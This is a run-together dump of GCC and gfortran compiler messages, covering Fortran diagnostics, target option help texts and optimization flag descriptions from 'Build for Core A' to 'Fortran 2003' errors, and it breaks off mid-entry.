Build for Core ABuild for Core BBuild for SDRAMBy-value argument at %L cannot be an array or an array sectionBy-value argument at %L is not allowed in this contextBy-value argument at %L is not of numeric typeC interoperable character dummy variable '%s' at %L with VALUE attribute must have length oneC kind type parameter is for type %s but type at %L is %sC++ constructors and destructors will not be invoked for Objective-C fieldsCASE label at %L overlaps with CASE label at %LCHARACTER argument '%s' to '%s' at %L must have a length of 1CHARACTER expression at %L is being truncated (%d/%d)CHARACTER expression will be truncated in assignment (%d/%d) at %LCHARACTER variable has zero length at %LCHARACTER(*) function '%s' at %L cannot be array-valuedCHARACTER(*) function '%s' at %L cannot be pointer-valuedCHARACTER(*) function '%s' at %L cannot be pureCHARACTER(*) function '%s' at %L cannot be recursiveCHARACTER(*) function '%s' at %L is obsolescent in fortran 95CLOSE statement not allowed in PURE procedure at %CCOLLAPSE clause argument not constant positive integer at %CCOMMON '%s' at %L does not existCOMMON '%s' at %L requires %d bytes of padding at start; reorder elements or use -fno-align-commonsCOMMON at %L requires %d bytes of padding at start; reorder elements or use -fno-align-commonsCOMMON block '%s' at %L is also an intrinsic procedureCOMMON block '%s' at %L is used as PARAMETER at %LCOMMON block /%s/ not found at %CCOMPLEX quantities cannot be compared at %LCONTAINS statement at %C is already in a contained program unitCOPYIN clause object '%s' at %L has ALLOCATABLE componentsCOPYPRIVATE clause object '%s' at %L has ALLOCATABLE componentsCPU names must be lower caseCPU you selected does not support x86-64 instruction setCRIS-port assertion failed: Call a library routine to do integer divisionsCall mcount for profiling before a function prologueCalling %qD with attribute sseregparm without SSE/SSE2 enabledCalling %qT with attribute sseregparm without SSE/SSE2 enabledCalls executed:%s of %d
Can not find a valid counter:value pair:Can't USE the same module we're building!Can't construct ABSTRACT type '%s' at %CCan't convert %s to %s at %LCan't delete module file '%s': %sCan't delete temporary module file '%s': %sCan't find an intrinsic module named '%s' at %CCan't find keyword named '%s' in call to '%s' at %LCan't open file '%s'Can't open module file '%s' for reading at %C: %sCan't open module file '%s' for writing at %C: %sCan't overwrite GENERIC '%s' at %LCan't rename module file '%s' to '%s': %sCan't use multiple stack checking methods together.Cannot IMPORT '%s' from host scoping unit at %C - does not exist.Cannot allocate INTENT(IN) variable '%s' at %LCannot assign to INTENT(IN) variable '%s' at %LCannot assign to a named constant at %CCannot assign to loop variable in PURE procedure at %LCannot assign to variable '%s' in PURE procedure at %LCannot change attributes of USE-associated symbol %s at %LCannot change attributes of USE-associated symbol at %LCannot deallocate INTENT(IN) variable '%s' at %LCannot open '%s' for output.
Cannot read to variable '%s' in PURE procedure at %CCannot specify IMPLICIT at %C after IMPLICIT NONECannot write to internal file unit '%s' at %C inside a PURE procedureCause gas to print tomcat statisticsChange only the low 8 bits of the stack pointerChange the ABI to allow double word insnsChange the amount of scheduler lookaheadChange the maximum length of conditionally-executed sequencesChange the number of temporary registers that are available to conditionally-executed sequencesChange the stack pointer without disabling interruptsChange when template instances are emittedChanges visibility to match Microsoft Visual Studio by defaultCharacter '%s' in string at %C is not representable in character kind %dCharacter '%s' in string at %L cannot be converted into character kind %dCharacter argument '%s' at %L must be length 1 because procedure '%s' is BIND(C)Character dummy variable '%s' at %L with VALUE attribute must have constant lengthCharacter length mismatch (%ld/%ld) between actual argument and assumed-shape dummy argument '%s' at %LCharacter length mismatch (%ld/%ld) between actual argument and pointer or allocatable dummy argument '%s' at %LCharacter length of actual argument shorter than of dummy argument '%s' (%lu/%lu) at %LCharacter length of component '%s' needs to be a constant specification expression at %LCharacter-valued argument '%s' of statement function at %L must have constant lengthCharacter-valued internal function '%s' at %L must not be assumed lengthCharacter-valued statement function '%s' at %L must have constant lengthCheck for syntax errors, then stopCheck the return value of newChoose input encoding (defaults from your locale)Chose strategy to generate stringop usingCirrus: Place NOPs to avoid invalid instruction combinationsCode size: small, medium or largeCommon block member '%s' at %L cannot be an EQUIVALENCE object in the pure procedure '%s'Compare the results of several data dependence analyzers.Compile code for ARC variant CPUCompile code for M16C variantsCompile code for M32C variantsCompile code for M32CM variantsCompile code for R8C variantsCompile for 32-bit pointersCompile for 64-bit pointersCompile for ETRAX 100 (CRIS v8)Compile for ETRAX 4 (CRIS v3)Compile for V8+ ABICompile for a 68HC11Compile for a 68HC12Compile for a 68HCS12Compile for the Thumb not the ARMCompile for the m32rCompile for the m32r2Compile for the m32rxCompile for the v850 processorCompile for the v850e processorCompile for the v850e1 processorCompile whole compilation unit at a timeCompile with 16-bit integer modeCompile with 32-bit integer modeComplex argument of LOG at %L cannot be zeroComplex multiplication and division follow Fortran rulesComponent %s of SEQUENCE type declared at %L does not have the SEQUENCE attributeComponent '%s' at %C already declared at %LComponent '%s' at %C already in the parent type at %LComponent '%s' at %C is a PRIVATE component of '%s'Component '%s' at %L cannot have the ALLOCATABLE attribute because it is a member of the BIND(C) derived type '%s' at %LComponent '%s' at %L cannot have the POINTER attribute because it is a member of the BIND(C) derived type '%s' at %LComponent '%s' in derived type '%s' at %L may not be C interoperableComponent '%s' in derived type '%s' at %L may not be C interoperable, even though derived type '%s' is BIND(C)Component '%s' is initialized twice in the structure constructor at %C!Component '%s' of '%s' at %L has the same name as an inherited type-bound procedureComponent '%s' of '%s' at %L must have constant array boundsComponent at %C must have the POINTER attributeComponent initializer without name after component named %s at %C!Component to the right of a part reference with nonzero rank must not have the ALLOCATABLE attribute at %LComponent to the right of a part reference with nonzero rank must not have the POINTER attribute at %LComponents in TYPE at %C must precede CONTAINSComponents of structure constructor '%s' at %L are PRIVATEConcat operator at %L must concatenate strings of the same kindConcatenation operator in expression at %L must have two CHARACTER operandsConfigured with: %s
Conflict in attributes of function argument at %CConform more closely to IBM XLC semanticsConform to nothing in particularConform to the ISO 1990 C standardConform to the ISO 1990 C standard as amended in 1994Conform to the ISO 1990 C standard with GNU extensionsConform to the ISO 1998 C++ standardConform to the ISO 1998 C++ standard with GNU extensionsConform to the ISO 1998 C++ standard, with GNU extensions andConform to the ISO 1998 C++ standard, with extensions that are likely toConform to the ISO 1999 C standardConform to the ISO 1999 C standard with GNU extensionsConform to the ISO Fortran 2003 standardConform to the ISO Fortran 2008 standardConform to the ISO Fortran 95 standardConservative reduced debug info for structsConsider access to byte sized memory slowConsider type 'int' to be 16 bits wideConsider type 'int' to be 32 bits wideConstant expression in FORMAT tag at %L must be of type default CHARACTERConstant expression required at %CConstantValue attribute of field '%s' has wrong typeConstruct webs and split unrelated uses of single variableContained function '%s' at %L has no IMPLICIT typeContained procedure '%s' at %C is already ambiguousContained procedure '%s' at %L of a PURE procedure must also be PUREControl the IEEE trap modeControl the generated fp rounding modeControl the precision given to fp exceptionsConversion from %s to %s at %LConversion of an Infinity or Not-a-Number at %L to INTEGERConvert all strings and character constants to character set <cset>Convert all wide strings and character constants to character set <cset>Convert floating point constants to single precision constantsCopy array sections into a contiguous block on procedure entryCorrecting inconsistent value profile: %s profiler overall count (%d) does not match BB count (%d)Cost to assume for a branch insnCost to assume for a multiply insnCost to assume for gettr insnCount speculative dependencies while calculating priority of instructionsCray Pointee at %C cannot be assumed shape arrayCray Pointee at %L appears in multiple pointer() statementsCray pointee '%s' in %s clause at %LCray pointee '%s' in SHARED clause at %LCray pointer '%s' in %s clause at %LCray pointer at %C has %d bytes of precision; memory addresses require %d bytesCray pointer at %C must be an integerCray pointer declaration at %C requires -fcray-pointer flagCreate GUI applicationCreate a position independent executableCreate a shared libraryCreate canonical induction variables in loopsCreate console applicationCreate data files needed by "gcov"Creating array temporary at %LCreating array temporary at %L for argument '%s'DATA array '%s' at %L must be specified in a previous declarationDATA statement at %C is not allowed in a PURE procedureDATA statement at %L has more values than variablesDATA statement at %L has more variables than valuesDEFERRED not yet implemented at %CDIM argument at %L is out of boundsDIMENSION specified for '%s' outside its INTERFACE body at %LDO-iterator '%s' at %L is inside iterator of the same nameDOUBLE COMPLEX at %C does not conform to the Fortran 95 standardDW_LOC_OP %s not implementedData element above array upper bound at %LData element below array lower bound at %LData greater than given threshold will go into .ldata section in x86-64 medium modelData transfer element at %L cannot be a full reference to an assumed-size arrayData transfer element at %L cannot have ALLOCATABLE componentsData transfer element at %L cannot have POINTER componentsData transfer element at %L cannot have PRIVATE componentsDead STMT in EH tableDead histogramDefaulting to stack for %s register creation
Defer popping functions args from stack until laterDeferred array '%s' at %L is not permitted in an initialization expressionDeferred-shape array '%s' at %L cannot be an argument to the procedure '%s' at %L because the procedure is BIND(C)Deferred-shape array '%s' at %L cannot be an argument to the procedure '%s' because it is not C interoperableDefine a <macro> with <val> as its value.  If just <macro> is given, <val> is taken to be 1Delete useless null pointer checksDeleted feature: %s at %L must be integerDeleted feature: ASSIGN statement at %CDeleted feature: ASSIGNED variable in FORMAT tag at %LDeleted feature: Assigned GOTO statement at %CDeleted feature: GOTO at %L jumps to END of construct at %LDeleted feature: PAUSE statement at %CDeprecated in favor of -std=c99Deprecated in favor of -std=gnu99Deprecated in favor of -std=iso9899:1999Deprecated option.  Use -misel/-mno-isel insteadDeprecated option.  Use -mspe/-mno-spe insteadDeprecated option.  Use -mvrsave/-mno-vrsave insteadDeprecated.  This switch has no effectDeprecated. Use -Os insteadDeprecated; use --classpath insteadDerived type '%s' at %C is being used before it is definedDerived type '%s' at %L cannot be declared with both PRIVATE and BIND(C) attributesDerived type '%s' at %L cannot have the SEQUENCE attribute because it is BIND(C)Derived type '%s' at %L has PRIVATE componentsDerived type '%s' at %L is emptyDerived type '%s' declared at %L must have the BIND attribute to be C interoperableDerived type at %C can only be PRIVATE in the specification part of a moduleDerived type at %C can only be PUBLIC in the specification part of a moduleDerived type at %C has not been previously defined and so cannot appear in a derived type definitionDerived type component %C is not a permitted EQUIVALENCE memberDerived type declaration with FINAL at %C must be in the specification part of a MODULEDerived type definition of '%s' at %C has already been definedDerived type name '%s' at %C already has a basic type of %sDerived type variable '%s' at %L cannot have ALLOCATABLE components to be an EQUIVALENCE objectDerived type variable '%s' at %L must have SEQUENCE attribute to be an EQUIVALENCE objectDerived type variable '%s' at %L with default initialization cannot be in EQUIVALENCE with a variable in COMMONDerived type variable '%s' at %L with pointer component(s) cannot be an EQUIVALENCE objectDerived type variable '%s' in COMMON at %L has an ultimate component that is allocatableDerived type variable '%s' in COMMON at %L has neither the SEQUENCE nor the BIND(C) attributeDerived type variable '%s' in COMMON at %L may not have default initializerDerived-type '%s' with BIND(C) must not have a CONTAINS section at %CDerived-type '%s' with SEQUENCE must not have a CONTAINS section at %CDetailed reduced debug info for structsDetermine which dependences between insns are considered costlyDifferent CHARACTER lengths (%d/%d) in array constructor at %LDifferent kind type parameters in pointer assignment at %LDifferent ranks in pointer assignment at %LDifferent shape for %s at %L on dimension %d (%d and %d)Different shape for arguments '%s' and '%s' at %L for intrinsic 'dot_product'Different shape in dimension %d for MASK and FIELD arguments of UNPACK at %LDifferent shape in dimension %d for SHIFT and BOUNDARY arguments of EOSHIFT at %LDifferent shape on dimension 1 for arguments '%s' and '%s' at %L for intrinsic matmulDifferent shape on dimension 2 for argument '%s' and dimension 1 for argument '%s' at %L for intrinsic matmulDifferent types in pointer assignment at %L; attempted assignment of %s to %sDimensions specified for %s at %L after its initialisationDisable FP regsDisable bcnz instructionDisable floating point optimizations that ignore the IEEE signedness of zeroDisable hardware floating pointDisable indexed addressingDisable optimizations observable by IEEE signaling NaNsDisable optimizations that assume default FP rounding behaviorDisable preprocessingDisable space regsDisallow direct calls to global functionsDisallow more than `msched-max-memory-insns' in instruction group. Otherwise, limit is `soft' (prefer non-memory operations when limit is reached)Discard unused virtual functionsDiscover pure and const functionsDiscover readonly and non addressable static variablesDisplay compile time statisticsDisplay contents of a class file in readable form.

Display descriptions of a specific class of options.  <class> is one or more of optimizers, target, warnings, undocumented, paramsDisplay statistics accumulated during compilationDisplay the code tree after parsingDisplay the compiler's versionDisplay this informationDistance between tab stops for column reportingDivision by zero at %LDivision by zero converting %s to %s at %LDivision strategy, one of: call, call2, fp, inv, inv:minlat, inv20u, inv20l, inv:call, inv:call2, inv:fp, call-div1, call-fp, call-tableDo not assume GASDo not assume a large TLS segmentDo not assume that standard C libraries and "main" existDo not disable space regsDo not discard commentsDo not discard comments in macro expansionsDo not display functions compiled or elapsed timeDo not emit addressing modes with side-effect assignmentDo not emit complex integer constants to read-only memoryDo not emit function prologue or epilogueDo not generate #line directivesDo not generate .size directivesDo not generate a single exit point for each functionDo not generate fused multiply/add instructionsDo not generate load/store with update instructionsDo not generate tablejump insnsDo not generate thread-safe code for initializing local staticsDo not inline integer divisionDo not inline square rootDo not load the PIC register in function prologuesDo not mark ABI switches in e_flagsDo not perform optimizations increasing noticeably stack usageDo not place floating point constants in TOCDo not place symbol+offset constants in TOCDo not predefine system-specific and GCC-specific macrosDo not pretend that branches are expensiveDo not provide a default start-address 0x100 of the programDo not put uninitialized globals in the common sectionDo not search standard system include directories (those specified with -isystem will still be used)Do not search standard system include directories for C++Do not serialize volatile memory references with MEMW instructionsDo not specify both -march=... and -mcpu=...Do not support SSE4.1 and SSE4.2 built-in functions and code generationDo not suppress C++ class debug information.Do not suppress warnings from system headersDo not treat local variables and COMMON blocks as if they were named in SAVE statementsDo not tune code and read-only data alignmentDo not tune stack alignmentDo not tune writable data alignmentDo not use MDMX instructionsDo not use MIPS-3D instructionsDo not use POWER instruction setDo not use PowerPC instruction setDo not use VAX fpDo not use a cache-flushing function before calling stack trampolinesDo not use addresses that allocate global registersDo not use condition codes from normal instructionsDo not use direct addressing mode for soft registersDo not use hardware FPDo not use hardware floating pointDo not use hardware fpDo not use hardware quad fp instructionsDo not use inline patterns for copying memoryDo not use push to store function argumentsDo not use the bit-field instructionsDo not use the callt instructionDo not use unaligned memory referencesDo not warn about using "long long" when -pedanticDo not warn about using variadic macros when -pedanticDo optimistic coalescing.Do stack checking using bounds in L1 scratch memoryDo the full register move optimization passDoes nothing.  Preserved for backward compatibility.Don't align items in code or dataDon't allocate floats and doubles in extended-precision registersDon't call any cache flush functionsDon't call any cache flush trapDon't generate checks for control speculation in selective schedulingDon't generate privileged-mode only code; implies -mno-inline-ic_invalidate if the inline code would not work in user mode.Don't optimize block movesDon't use P-mnemonics for branchesDon't warn about uses of Microsoft extensionsDouble-precision floating point unitDowngrade conformance errors to warningsDriving:Dummy '%s' at %L cannot have an initializerDummy argument '%s' at %L cannot be INTENT(OUT)Dummy argument '%s' at %L cannot be OPTIONALDummy argument '%s' at %L was declared INTENT(OUT) but was not setDummy argument '%s' not allowed in expression at %LDummy argument '%s' of '%s' at %L should be named '%s' as to match the corresponding argument of the overridden procedureDummy procedure '%s' at %C cannot have a generic interfaceDummy procedure '%s' not allowed in elemental procedure '%s' at %LDummy procedure '%s' of PURE procedure at %L must also be PUREDummy procedure at %C may not have BIND(C) attribute with NAMEDummy procedure at %L not allowed in ELEMENTAL procedureDump a core file when a runtime error occursDump declarations to a .decl fileDump various compiler internals to a fileDuplicate %s attribute at %LDuplicate %s attribute specified at %LDuplicate %s label specification at %CDuplicate %s specification at %CDuplicate BIND attribute specified at %LDuplicate ELSE statements at %L and %CDuplicate EXTENDS attribute specified at %LDuplicate IMPLICIT NONE statement at %CDuplicate NML specification at %CDuplicate NON_OVERRIDABLE at %CDuplicate PRIVATE statement at %CDuplicate PROTECTED attribute specified at %LDuplicate SAVE attribute specified at %LDuplicate SEQUENCE statement at %CDuplicate UNIT specification at %CDuplicate VALUE attribute specified at %LDuplicate VOLATILE attribute specified at %LDuplicate access-specifier at %CDuplicate array spec for Cray pointee at %CDuplicate construct label '%s' at %CDuplicate format specification at %CDuplicate statement label %d at %L and %LDuplicate symbol '%s' in formal argument list at %CDynamically allocate cc registersE specifier not allowed with g0 descriptorE500 and FPRs not supportedEH edge %i->%i has duplicated regionsEH edge %i->%i is missingEH edge %i->%i miss EH flagELEMENTAL function '%s' at %L must have a scalar resultELEMENTAL non-INTRINSIC procedure '%s' is not allowed as an actual argument at %LELSE IF statement at %C cannot follow ELSE statement at %LELSEWHERE statement at %C follows previous unmasked ELSEWHEREELSEWHERE statement at %C not enclosed in WHERE blockEND tag at %C not allowed in output statementEND tag label %d at %L not definedENTRY '%s' at %L cannot be called recursively, as function '%s' is not RECURSIVEENTRY '%s' at %L cannot be called recursively, as subroutine '%s' is not RECURSIVEENTRY '%s' at %L has no IMPLICIT typeENTRY result %s can't be a POINTER in FUNCTION %s at %LENTRY result %s can't be an array in FUNCTION %s at %LENTRY result %s can't be of type %s in FUNCTION %s at %LENTRY statement at %C cannot appear in a contained procedureENTRY statement at %C cannot appear within a BLOCK DATAENTRY statement at %C cannot appear within a DERIVED TYPE blockENTRY statement at %C cannot appear within a DO blockENTRY statement at %C cannot appear within a FORALL blockENTRY statement at %C cannot appear within a MODULEENTRY statement at %C cannot appear within a PROGRAMENTRY statement at %C cannot appear within a SELECT blockENTRY statement at %C cannot appear within a WHERE blockENTRY statement at %C cannot appear within a contained subprogramENTRY statement at %C cannot appear within an IF-THEN blockENTRY statement at %C cannot appear within an INTERFACEENTRY_BLOCK has IL associated with itENUM declaration at %C has no ENUMERATORSENUM definition statement expected before %CENUMERATOR %L not initialized with integer expressionEOR tag label %d at %L not definedEQUIVALENCE at %C requires two or more objectsERR tag label %d at %L not definedESA/390 architectureEXIT statement at %C terminating !$OMP DO loopEXIT_BLOCK has IL associated with itEither all or none of the objects in the EQUIVALENCE set at %L shall have the PROTECTED attributeElement in %s array constructor at %L is %sElement of assumed-shaped array passed to dummy argument '%s' at %LEliminate redundant sign extensions using LCM.Embedded space in NAME= specifier at %CEmit 16-bit relocations to the small data areasEmit 32-bit relocations to the small data areasEmit IEEE-conformant code, without inexact exceptionsEmit call graph informationEmit cmpeqdi_t pattern even when -mcbranchdi and -mexpand-cbranchdi are in effect.Emit code for the byte/word ISA extensionEmit code for the counting ISA extensionEmit code for the fp move and sqrt ISA extensionEmit code for the motion video ISA extensionEmit code using explicit relocation directivesEmit common-like symbols as weak symbolsEmit cross referencing informationEmit declaration information into <file>Emit direct branches to local functionsEmit errors when run-time relocations are generatedEmit extra code in the function prologue in order to trap if the stack size exceeds the given limitEmit function-calls using global offset table when generating PICEmit implicit instantiations of inline templatesEmit implicit instantiations of templatesEmit indirect branches to local functionsEmit long load/store sequencesEmit rdval instead of rduniq for thread pointerEmit static const variables even if they are not usedEmit stop bits before and after volatile extended asmsEmit verbose debug information in assembly codeEmit warnings when run-time relocations are generatedEmpty FINAL at %CEmpty IMPLICIT statement at %CEmpty array constructor at %C is not allowedEmpty set of digits in BOZ constant at %CEnable CFI tables via GAS assembler directives.Enable Dwarf 2 line debug info via GNU asEnable Full Redundancy Elimination (FRE) on treesEnable Function Descriptor PIC modeEnable Graphite Identity transformationEnable ID based shared libraryEnable Loop Blocking transformationEnable Loop Interchange transformationEnable Loop Strip Mining transformationEnable Objective-C exception and synchronization syntaxEnable Objective-C setjmp exception handling runtimeEnable OpenMP (implies -frecursive in Fortran)Enable PIC support for building librariesEnable SH5 cut2 workaroundEnable SSA code sinking on treesEnable SSA dead code elimination optimization on treesEnable SSA-CCP optimization on treesEnable SSA-PRE optimization on treesEnable TPF-OS tracing codeEnable alignment of COMMON blocksEnable all -Wunused- warningsEnable an RTL peephole pass before sched2Enable assignability checks for stores into object arraysEnable automatic generation of fused floating point multiply-add instructionsEnable automatic parallelization of loopsEnable automatic template instantiationEnable backend debuggingEnable basic program profiling codeEnable cbranchdi4 patternEnable common options for generating profile info for profile feedback directed optimizationsEnable common options for generating profile info for profile feedback directed optimizations, and set -fprofile-dir=Enable common options for performing profile feedback directed optimizationsEnable common options for performing profile feedback directed optimizations, and set -fprofile-dir=Enable conditional dead code elimination for builtin callsEnable conditional execution other than moves/sccEnable conditional movesEnable copy propagation of scalar-evolution information.Enable copy propagation on treesEnable correction of flow inconsistent profile data inputEnable dead store eliminationEnable debug outputEnable debug output to be generated.Enable decimal floating point hardware supportEnable dominator optimizationsEnable dumps from specific passes of the compilerEnable earlier placing stop bits for better schedulingEnable exception handlingEnable function profilingEnable fused multiply/add and multiply/subtract FP instructionsEnable fused multiply/add instructionsEnable garbage collection (GC) in Objective-C/Objective-C++ programsEnable guessing of branch probabilitiesEnable hardware floating pointEnable in and out of Graphite representationEnable inlining of PLT in function callsEnable label alignment optimizationsEnable linear loop transforms on treesEnable linker optimizationsEnable linker relaxationsEnable linker relaxingEnable loop distribution on treesEnable loop header copying on treesEnable loop invariant motion on treesEnable loop optimizations on tree levelEnable loop vectorization on treesEnable loop versioning when doing loop vectorization on treesEnable machine specific peephole optimizationsEnable most warning messagesEnable multicore supportEnable nested conditional execution optimizationsEnable optimization of static class initialization codeEnable optimizing &&/|| in conditional executionEnable optional diagnosticsEnable preprocessingEnable range checking during compilationEnable reassociation on tree levelEnable scheduling across basic blocksEnable separate data segmentEnable setting GPRs to the result of comparisonsEnable stack probingEnable strict 32-bit psABI struct return checking.Enable support for huge objectsEnable the normal modeEnable the use of the fused floating point multiply-accumulate operationEnable the use of the indexed addressing mode for SHmedia32/SHcompactEnable the use of the short load instructionsEnable traditional preprocessingEnable unaligned load/store instructionEnable use of GPREL for read-only data in FDPICEnable use of cost model in vectorizationEnable use of sdata/scommon/sbssEnable verbose outputEnable/Disable the traditional scheduling in loops that already passed modulo schedulingEnabled ID based shared libraryEnables a register move optimizationEncode SSE instructions with VEX prefixEnd of nonblock DO statement at %C is interwoven with another DO loopEnd of nonblock DO statement at %C is within another blockEnd of search list.
Enforce class member access control semanticsEnforce strict alignmentEntity '%s' at %C is already present in the interfaceEntity with assumed character length at %L must be a dummy argument or a PARAMETEREnumerator exceeds the C integer type at %CEquivalence for '%s' does not match ordering of COMMON '%s' at %LError converting PARAMETER constant in complex constant at %CError converting integerError count reached limit of %d.Error in ORDER parameter of RESHAPE at %LError writing module file '%s' for writing: %sError writing modules file: %sError:Execution count is negativeExit %d->%d not recordedExit condition of DO WHILE loop at %L must be a scalar LOGICAL expressionExit on the first error occurredExpand cbranchdi4 pattern early into separate comparisons and branches.Expected ")" at %CExpected "," at %CExpected "," or end of statement at %CExpected '(' at %CExpected ',' at %CExpected '::' after binding-attributes at %CExpected '::' at %CExpected 'END INTERFACE ASSIGNMENT (=)' at %CExpected :: in TYPE definition at %CExpected = sign in PARAMETER statement at %CExpected P edit descriptorExpected PARAMETER symbol in complex constant at %CExpected a CASE or END SELECT statement following SELECT CASE at %CExpected a PURE procedure for argument '%s' at %LExpected a nameless interface at %CExpected a procedure for argument '%s' at %LExpected a procedure pointer for argument '%s' at %LExpected a right parenthesis in expression at %CExpected a step value in iterator at %CExpected access-specifier at %CExpected alternate return label at %CExpected an initialization expression at %CExpected another dimension in array declaration at %CExpected argument list at %CExpected array subscript at %CExpected array subscript stride at %CExpected attribute bit nameExpected binding attribute at %CExpected binding name at %CExpected binding target after '=>' at %CExpected block name of '%s' in %s statement at %CExpected bounds specification for '%s' at %LExpected case name of '%s' at %CExpected comma in I/O list at %CExpected component reference at %CExpected exponent in expression at %CExpected expression at %C in PARAMETER statementExpected expression in %s statement at %CExpected expression in array specification at %CExpected expression typeExpected formal argument list in function definition at %CExpected generic name at %CExpected initialization expression at %CExpected initialization expression in CASE at %CExpected integerExpected integer stringExpected label '%s' for %s statement at %CExpected left parenthesisExpected module procedure name at %CExpected nameExpected real stringExpected right parenthesisExpected scalar initialization expression at %CExpected specific binding name at %CExpected stringExpected structure component name at %CExpected terminating name at %CExpected the name of the SELECT CASE construct at %CExpected type-bound procedure reference at %CExpected variable in READ statement at %CExpected variable name at %CExpected variable name at %C in PARAMETER statementExpecting %s statement at %CExpecting 'END INTERFACE %s' at %CExpecting 'END INTERFACE OPERATOR (%s)' at %CExpecting 'END INTERFACE OPERATOR (.%s.)' at %CExpecting list of named entities at %CExport functions even if they can be inlinedExpression at %L must be of INTEGER type, found %sExpression at %L must be scalarExpression in ALLOCATE statement at %L must be ALLOCATABLE or a POINTERExpression in CASE statement at %L must be of kind %dExpression in CASE statement at %L must be of type %sExpression in CASE statement at %L must be scalarExpression in DEALLOCATE statement at %L must be ALLOCATABLE or a POINTERExtension: $ descriptor at %CExtension: %s specifier in %s statement at %C has value '%s'Extension: BOZ constant at %C uses non-standard postfix syntaxExtension: BOZ literal at %L outside a DATA statement and outside INT/REAL/DBLE/CMPLXExtension: BOZ literal at %L used to initialize non-integer variable '%s'Extension: BYTE type at %CExtension: CONVERT tag at %LExtension: Character array in FORMAT tag at %LExtension: Comma before i/o item list at %LExtension: Conversion from %s to %s at %LExtension: Different type kinds at %LExtension: Evaluation of nonstandard initialization expression at %LExtension: Function %s at %L with entries returning variables of different string lengthsExtension: Hexadecimal constant at %C uses non-standard syntaxExtension: Hollerith constant at %CExtension: Missing comma at %CExtension: Missing positive width after L descriptor at %CExtension: Non-character in FORMAT tag at %LExtension: Old-style initialization at %CExtension: REAL array index at %LExtension: RETURN statement in main program at %CExtension: Symbol '%s' is used before it is typed at %LExtension: Tab character in format at %CExtension: Unary operator following arithmetic operator (use parentheses) at %CExtension: X descriptor requires leading space count at %CExtension: argument list function at %CExtension: backslash character at %CExtension: initialization of common block variable '%s' in DATA statement at %CExtension: re-initialization of '%s' at %LExternal '%s' at %L cannot have an initializerExternal IO UNIT cannot be an array at %LExternal object '%s' at %L may not have an initializerF2003 Feature: ROUND= specifier at %C not implementedFIELD argument at %L of UNPACK must have the same rank as MASK or be a scalarFINAL declaration at %C must be inside CONTAINSFINAL declaration at %C must be inside a derived type CONTAINS sectionFINAL procedure '%s' at %L is not a SUBROUTINEFINAL procedure '%s' declared at %L has the same rank (%d) as '%s'FINAL procedure at %L must have exactly one argumentFORALL end expression at %L must be a scalar INTEGERFORALL index '%s' may not appear in triplet specification at %LFORALL index-name at %L must be a scalar INTEGERFORALL mask clause at %L requires a LOGICAL expressionFORALL start expression at %L must be a scalar INTEGERFORALL stride expression at %L cannot be zeroFORALL stride expression at %L must be a scalar %sFORMAT label %d at %L not definedFORMAT statement at %L does not have a statement labelFORMAT tag at %L must be of type CHARACTER or INTEGERFP exceptions are enabledFUNCTION at %C does not belong in a generic subroutine interfaceFUNCTION result %s can't be a POINTER in FUNCTION %s at %LFUNCTION result %s can't be an array in FUNCTION %s at %LFUNCTION result %s can't be of type %s in FUNCTION %s at %LFailure trying to reload:Fatal Error:File '%s' opened at %C is not a GFORTRAN module fileFinalization at %L is not yet implementedFirst argument of defined assignment at %L must be INTENT(OUT) or INTENT(INOUT)First argument of operator interface at %L cannot be optionalFirst argument of operator interface at %L must be INTENT(IN)First or last !$OMP ATOMIC intrinsic argument must be '%s' at %LFixed line length must be at least seven.Flag -fmax-stack-var-size=%d overwrites -frecursive implied by -fopenmpFlag -fno-automatic overwrites -fmax-stack-var-size=%dFlag -fno-automatic overwrites -frecursiveFlag -fno-automatic overwrites -frecursive implied by -fopenmpFlag -frecursive overwrites -fmax-stack-var-size=%dFloating point unit does not support divide & sqrtFollow Renesas (formerly Hitachi) / SuperH calling conventionsFollow the EABI linkage requirementsFor bug reporting instructions, please see:
%s.
For dummy procedure %s, no binding name is allowed in BIND(C) at %CFor intrinsics library: pass all parameters in registersForce functions to be aligned to a 4 byte boundaryForce the underlying type for "wchar_t" to be "unsigned short"Format statement in module main block at %CFortran 2003:  CONTAINS block in derived type definition at %CFortran 2003:  FINAL procedure declaration at %CFortran 2003:  GENERIC binding at %CFortran 2003:  Type-bound procedure at %CFortran 2003: "USE :: module" at %CFortran 2003: %s attribute with %s attribute at %LFortran 2003: %s attribute with %s attribute in '%s' at %LFortran 2003: %s specifier in %s statement at %C has value '%s'Fortran 2003: '%s' intrinsic with CHARACTER argument at %LFortran 2003: '%s' intrinsic with KIND argument at %LFortran 2003: '%s' is of a PRIVATE type and cannot be a dummy argument of '%s', which is PUBLIC at %LFortran 2003: ABSTRACT INTERFACE at %CFortran 2003: ABSTRACT type at %CFortran 2003: ALLOCATABLE attribute at %C in a TYPE definitionFortran 2003: ASYNCHRONOUS= at %C not allowed in Fortran 95Fortran 2003: Array constructor including type specification at %CFortran 2003: Attribute %s at %L in a TYPE definitionFortran 2003: BIND(C) at %LFortran 2003: BLANK= at %C not allowed in Fortran 95Fortran 2003: BOZ used outside a DATA statement at %CFortran 2003: Bounds specification for '%s' in pointer assignment at %LFortran 2003: COMMON block '%s' at %L that is also a function resultFortran 2003: COMMON block '%s' at %L that is also a global procedureFortran 2003: DC format specifier not allowed at %CFortran 2003: DECIMAL= at %C not allowed in Fortran 95Fortran 2003: DELIM= at %C not allowed in Fortran 95Fortran 2003: DP format specifier not allowed at %CFortran 2003: Derived type definition at %C without componentsFortran 2003: ENCODING= at %C not allowed in Fortran 95Fortran 2003: ENUM and ENUMERATOR at %CFortran 2003: EXTENDS at %LFortran 2003: Elemental function as initialization expression with non-integer/non-character arguments at %LFortran 2003: FLUSH statement at %CFortran 2003: Function '%s' as initialization expression at %LFortran 2003: IMPORT statement at %CFortran 2003: IOMSG tag at %LFortran 2003: ISO_C_BINDING module at %CFortran 2003: ISO_FORTRAN_ENV intrinsic module at %CFortran 2003: Internal file at %L with namelistFortran 2003: Noninteger exponent in an initialization expression at %LFortran 2003: PAD= at %C not allowed in Fortran 95Fortran 2003: PARAMETER symbol in complex constant at %CFortran 2003: PROCEDURE statement at %CFortran 2003: PROTECTED attribute at %CFortran 2003: PROTECTED statement at %CFortran 2003: PUBLIC %s '%s' at %L of PRIVATE derived type '%s'Fortran 2003: PUBLIC function '%s' at %L of PRIVATE type '%s'Fortran 2003: Procedure '%s' in PUBLIC interface '%s' at %L takes dummy arguments of '%s' which is PRIVATEFortran 2003: Procedure components at %C are not yet implemented in gfortranFortran 2003: Renaming operators in USE statements at %CFortran 2003: SIGN= at %C not allowed in Fortran 95Fortran 2003: Scalar CHARACTER actual argument with array dummy argument '%s' at %LFortran 2003: Structure constructor with missing optional arguments at %CFortran 2003: Structure 